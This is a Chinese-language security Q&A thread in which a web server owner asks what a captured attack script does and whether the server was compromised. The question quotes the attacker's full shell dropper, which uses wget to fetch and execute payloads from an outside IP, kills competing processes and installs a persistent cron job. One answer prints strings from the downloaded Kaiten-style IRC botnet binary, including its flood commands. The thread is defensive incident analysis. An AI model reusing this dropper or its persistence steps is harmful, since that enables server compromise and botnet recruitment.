如果执行这个 sh 脚本会做什么?

信息安全 linux 事件响应 系统妥协
2021-08-14 11:04:43

我截获了对我的 Web 服务器的攻击,我认为该攻击是不成功的。攻击者试图执行这个脚本:

#!/bin/sh

cd /tmp;cd /dev/shm
wget -q http://221.132.37.26/xx -O ...x
chmod +x ...x
./...x
cd /dev/shm ; wget 221.132.37.26/ru ; bash ru ; rm -rf ru
cd /dev/shm ; wget 221.132.37.26/rr; bash rr; rm -rf rr
killall -9 .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w php
killall -9 .rnd
killall -9 .a
killall -9 kernelupdate
killall -9 dev
killall -9 sh
killall -9 bash
killall -9 apache2
killall -9 httpd
killall -9 cla
killall -9 ka
killall -9 kav
killall -9 m32
killall -9 m64
killall -9 perl
killall -9 sh
killall -9 sucrack
killall -9 m64 m32 minerd32 minerd64 minerd  cla qt64 qt32 clover cron sh wget
kill -9 `pidof .rnd`
kill -9 `pidof .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w`
kill -9 `pidof dev`
kill -9 `pidof perl`
kill -9 `pidof m32`
kill -9 `pidof m64`
kill -9 `pidof ka`
kill -9 `pidof kav`
kill -9 `pidof cla`
kill -9 `pidof sh`
kill -9 `pidof sucrack`
echo "@weekly wget -q http://221.132.37.26/sh -O /tmp/sh;sh /tmp/sh;rm -rd /tmp/sh" >> /tmp/cron
crontab /tmp/cron
rm -rf /tmp/cron

我可以看到它通过 wget 获取其他三个 sh 脚本,执行它们,删除它们(可能用于跟踪目的),杀死一些进程,设置每周执行的 cron,然后删除它(?!)。

正如我们所看到的,它杀死了 Apache 和 sh 本身。这很奇怪,因为如果 Apache 和 sh 被杀死,攻击将不再有效,对吧?


我有理由相信这个有效载荷从未真正执行过,因为:

  1. 攻击是使用 GET 请求尝试的。由于 Apache mod_rewrite,他得到的只是 404。
  2. 攻击者试图利用 PHP 后端漏洞,这不适用于我。

这一切是否意味着我仍然安全?我想crontab -l检查一下我的服务器是否遭到入侵。输出是:

ubuntu@ip-172-31-24-52:~$ crontab -l
no crontab for ubuntu
ubuntu@ip-172-31-24-52:~$ sudo su
root@ip-172-31-24-52:/home/ubuntu# crontab -l
no crontab for root
3个回答

我下载了第一个 URL ( http://something.example.com/xx ) 并运行

$ file xx
xx: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.15, not stripped

所以,它是一个可以在 Linux 机器上运行的可执行程序。我假设您正在运行 Linux 服务器。接下来,我们想看看程序做了什么,当然,你不想运行它。一种快速的方法是忽略嵌入在可执行文件中的所有计算机指令代码,只查看它可能包含哪些人类可读的字符串。所以,我跑了

$ strings xx | less

[... excerpt ...]
NOTICE %s :Receiving file.
NOTICE %s :Saved as %s
NOTICE %s :Spoofs: %d.%d.%d.%d
NOTICE %s :Spoofs: %d.%d.%d.%d - %d.%d.%d.%d
NOTICE %s :Kaiten wa goraku
NOTICE %s :NICK <nick>
NOTICE %s :Nick cannot be larger than 9 characters.
NICK %s
NOTICE %s :DISABLE <pass>
Disabled
Enabled and awaiting orders
NOTICE %s :Current status is: %s.
NOTICE %s :Already disabled.
NOTICE %s :Password too long! > 254
NOTICE %s :Disable sucessful.
NOTICE %s :ENABLE <pass>
NOTICE %s :Already enabled.
NOTICE %s :Wrong password
NOTICE %s :Password correct.
NOTICE %s :Removed all spoofs
NOTICE %s :What kind of subnet address is that? Do something like: 169.40
NOTICE %s :Unable to resolve %s
NOTICE %s :UDP <target> <port> <secs>
NOTICE %s :Packeting %s.
NOTICE %s :PAN <target> <port> <secs>
NOTICE %s :Panning %s.
NOTICE %s :TSUNAMI <target> <secs>
NOTICE %s :Tsunami heading for %s.
NOTICE %s :UNKNOWN <target> <secs>
NOTICE %s :Unknowning %s.
NOTICE %s :MOVE <server>
NOTICE %s :TSUNAMI <target> <secs>                          = Special packeter that wont be blocked by most firewalls
NOTICE %s :PAN <target> <port> <secs>                       = An advanced syn flooder that will kill most network drivers
NOTICE %s :UDP <target> <port> <secs>                       = A udp flooder
NOTICE %s :UNKNOWN <target> <secs>                          = Another non-spoof udp flooder
NOTICE %s :NICK <nick>                                      = Changes the nick of the client
NOTICE %s :SERVER <server>                                  = Changes servers
NOTICE %s :GETSPOOFS                                        = Gets the current spoofing
NOTICE %s :SPOOFS <subnet>                                  = Changes spoofing to a subnet
NOTICE %s :DISABLE                                          = Disables all packeting from this client
NOTICE %s :ENABLE                                           = Enables all packeting from this client
NOTICE %s :KILL                                             = Kills the client
NOTICE %s :GET <http address> <save as>                     = Downloads a file off the web and saves it onto the hd
NOTICE %s :VERSION                                          = Requests version of client
NOTICE %s :KILLALL                                          = Kills all current packeting
NOTICE %s :HELP                                             = Displays this
NOTICE %s :IRC <command>                                    = Sends this command to the server
NOTICE %s :SH <command>                                     = Executes a command
NOTICE %s :Killing pid %d.
TSUNAMI
UNKNOWN
NICK
SERVER
GETSPOOFS

“启用并等待订单”表明这是一个使您的服务器充当僵尸网络节点的程序。

它下载的下一个文件http://something.example.com/ru是一个 shell 脚本,它依次.tar.gzhttp://example.hu/ar/64.tgz(或 32.tgz,取决于在您的 CPU 架构上),然后安装并运行它。该档案包含三个文件:

  • php为 Linux 编译的解释器
  • 另一个名为的 Linux 可执行文件 pnscan
  • 一个名为runwhich 启动的 shell 脚本pnscan

它所做的另一件事是创建每周一次的 cron 作业,下载并运行http://something.example.com/sh,其中包含您在上面发布的 shell 脚本。基本上,它会每周自动重新感染您的机器,除非您卸载该 cron 作业。

建议操作

该代码看起来像是由脚本小子组合在一起的。它使用现有的工具,例如pnscan,与一些 shell 脚本捆绑在一起。这不是 Stuxnet 质量的代码。

根据您稍后添加的信息(您的 Apache 服务器不支持 PHP,您的 Apache 服务器仍在正常运行,并且没有安装 cron 作业),该代码似乎从未真正在您的服务器上运行过。在这种情况下,你可能没问题!运行ps ax以检查是否有任何可疑的东西在运行,你应该没问题。

有关详细信息,请参阅此博客文章

自从在 Apache/PHP 中发现允许使用简单的 HTTP POST 请求执行 PHP 代码的漏洞以来,自动攻击被广泛发起,导致大量主机受到攻击。

这些攻击在过去几个月中有所减少,但是,其中一种自动攻击特别有趣,因为使用的方法可以归类为类似蠕虫的方法。在进入技术部分之前,让我们在更高的层次上进入整个攻击。

攻击者使用 kingcope [exploit-db] 发布的漏洞利用修改后的有效负载,下载了一些脚本和二进制文件,然后开始扫描 IPv4 地址的随机 A 块。如果发现主机正在运行 Apache,则会启动利用尝试并重新开始整个过程​​。这些攻击最早是在 2013 年 11 月左右被发现的。

根据概述的信息,它似乎是某种僵尸网络在利用上述漏洞。

这是一个简单的、令人惊讶的无趣的僵尸网络代理。

基本上,它选择一个随机地址范围并使用pnscan扫描侦听 HTTP 服务器。然后它会尝试利用它找到的主机上的旧 PHP 漏洞。然后从那里将自己复制到其他服务器。